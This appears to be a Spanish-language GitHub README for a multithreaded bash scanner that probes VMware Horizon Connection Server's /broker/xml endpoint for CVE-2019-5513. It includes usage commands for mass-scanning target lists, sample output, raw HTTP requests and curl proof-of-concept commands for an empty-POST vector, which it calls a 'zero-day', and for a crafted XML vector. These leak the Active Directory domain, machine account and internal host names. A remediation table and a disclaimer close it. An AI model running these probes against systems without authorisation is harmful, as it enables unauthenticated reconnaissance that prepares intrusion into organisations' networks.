
El VMWare Horizon Connection Server se utiliza a menudo como puerta de enlace orientado a Internet para el entorno de escritorios virtuales (VDI) de una organización. Hasta hace poco, la mayoría de estas instalaciones exponían el nombre interno del Connection Server, la dirección IP interna de la puerta de enlace y el dominio de Active Directory a atacantes no autenticados.
Un escáner multihilo de alto rendimiento para detectar vulnerabilidades de divulgación de información no autenticada en el endpoint /broker/xml de VMware Horizon Connection Server.
VMware Horizon Connection Server expone un endpoint de API XML (/broker/xml) que puede filtrar información de configuración interna sensible sin requerir autenticación. Este escáner identifica rápidamente servidores vulnerables probando dos vectores de ataque:
get-configuration.<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>[email protected]</name>
</broker-service-principal>
<domain>corporate-domain.example.com</domain>
</configuration>
</broker>
⚡ Características
- Rápido como un rayo — Arquitectura multihilo (por defecto 50 hilos concurrentes)
- Pruebas de Protocolo Dual — Comprueba tanto HTTPS (puerto 443) como HTTP (puerto 80) simultáneamente
- Dos Vectores de Ataque — Prueba cuerpo POST vacío (zero-day) + XML manipulado (CVE-2019-5513)
- Tiempos de espera bajos — Máximo 5 segundos por solicitud, 3 segundos de tiempo de espera de conexión
- Salida Clara — Resultados codificados por colores con respuesta XML completa para hosts vulnerables
- Exportación de Resultados — Guarda todos los hallazgos en un archivo con la opción -o
- Sin Dependencias — Utiliza solo curl (estándar en la mayoría de sistemas)
🚀 Instalación
bash
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git
cd vmware-horizon-scanner
# Make the script executable
chmod +x broker.sh
📖 Uso
Escaneo Básico
bash
./broker.sh -d targets.txt
Escaneo con Hilos Personalizados (Más Rápido)
bash
./broker.sh -d targets.txt -t 100
Escaneo y Guardar Resultados
bash
./broker.sh -d targets.txt -t 100 -o results.txt
Opciones de Línea de Comandos
Opción Descripción
-d <archivo> Archivo de entrada que contiene la lista de direcciones IP/nombres de host (uno por línea)
-t <num> Número de hilos (por defecto: 50)
-o <archivo> Archivo de salida para guardar resultados
-h Mostrar mensaje de ayuda
Formato del Archivo de Entrada (targets.txt)
text
# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com
📊 Ejemplo de Salida
text
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
VMware Horizon /broker/xml Vulnerability Scanner
Multi-Threaded Mode - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Testing: Empty POST (Zero-Day) + Crafted XML (CVE-2019-5513)
[*] Protocols: HTTPS + HTTP (both tested simultaneously)
[*] Scanning 3 hosts...
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNERABLE | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>TEST-SERVER$@DOMAIN</name>
</broker-service-principal>
</configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[-] 192.168.1.100 | NOT VULNERABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNERABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] SCAN COMPLETE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Total hosts: 3
Vulnerable: 2
Not vulnerable: 1
Time taken: 4 seconds
🔬 Pruebas con Burp Suite
Para pruebas manuales, aquí están las solicitudes raw:
Prueba 1: Cuerpo POST Vacío (Zero-Day)
http
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0
Prueba 2: XML Manipulado (CVE-2019-5513)
http
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115
<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>
📝 Comandos curl PoC
Cuerpo POST Vacío
bash
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
-d ''
XML Manipulado
bash
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
--data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'
🛡️ Remediación
Actualice VMware Horizon Connection Server a una versión parcheada:
Versión Versión Corregida
7.x 7.8 o posterior
7.5.x 7.5.2 o posterior
6.x 6.2.8 o posterior
Mitigaciones Adicionales:
- Implemente controles de acceso de red para restringir el acceso al endpoint /broker/xml
- Use reglas WAF para bloquear solicitudes no autenticadas a este endpoint
- Monitoree solicitudes POST sospechosas a /broker/xml
🙏 Créditos
Esta herramienta se basa en la investigación de los siguientes investigadores de seguridad:
Descubrimiento Original de CVE-2019-5513 — Atredis Partners
Cory Mathews de Critical Start (descubrimiento independiente)
Descubrimiento Zero-Day en Esta Herramienta
El vector de ataque de cuerpo POST vacío fue identificado durante investigación adicional. El CVE original requería un payload XML manipulado; esta herramienta también prueba el método de cuerpo vacío, que no requiere construcción de payload y es aún más simple de ejecutar.
⚠️ Descargo de Responsabilidad
Esta herramienta es solo con fines educativos y pruebas de seguridad autorizadas. El escaneo no autorizado de sistemas que no posea o para los que no tenga permiso explícito puede violar leyes y regulaciones. Los autores no asumen responsabilidad por el mal uso.
📄 Licencia
Licencia MIT
⭐ Soporte
Si encuentra útil esta herramienta, ¡por favor dele una estrella en GitHub!
| Atributo | Valor |
|---|
| CVE | CVE-2019-5513 |
| Puntuación CVSS | 5.3 (Media) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Productos Afectados | VMware Horizon Connection Server 7.x anteriores a 7.8, 7.5.x anteriores a 7.5.2, 6.x anteriores a 6.2.8 |
| Información Filtrada | Nombre de dominio de Active Directory, nombre de cuenta de servicio (cuenta de máquina), nombres de host internos, direcciones IP de gateway |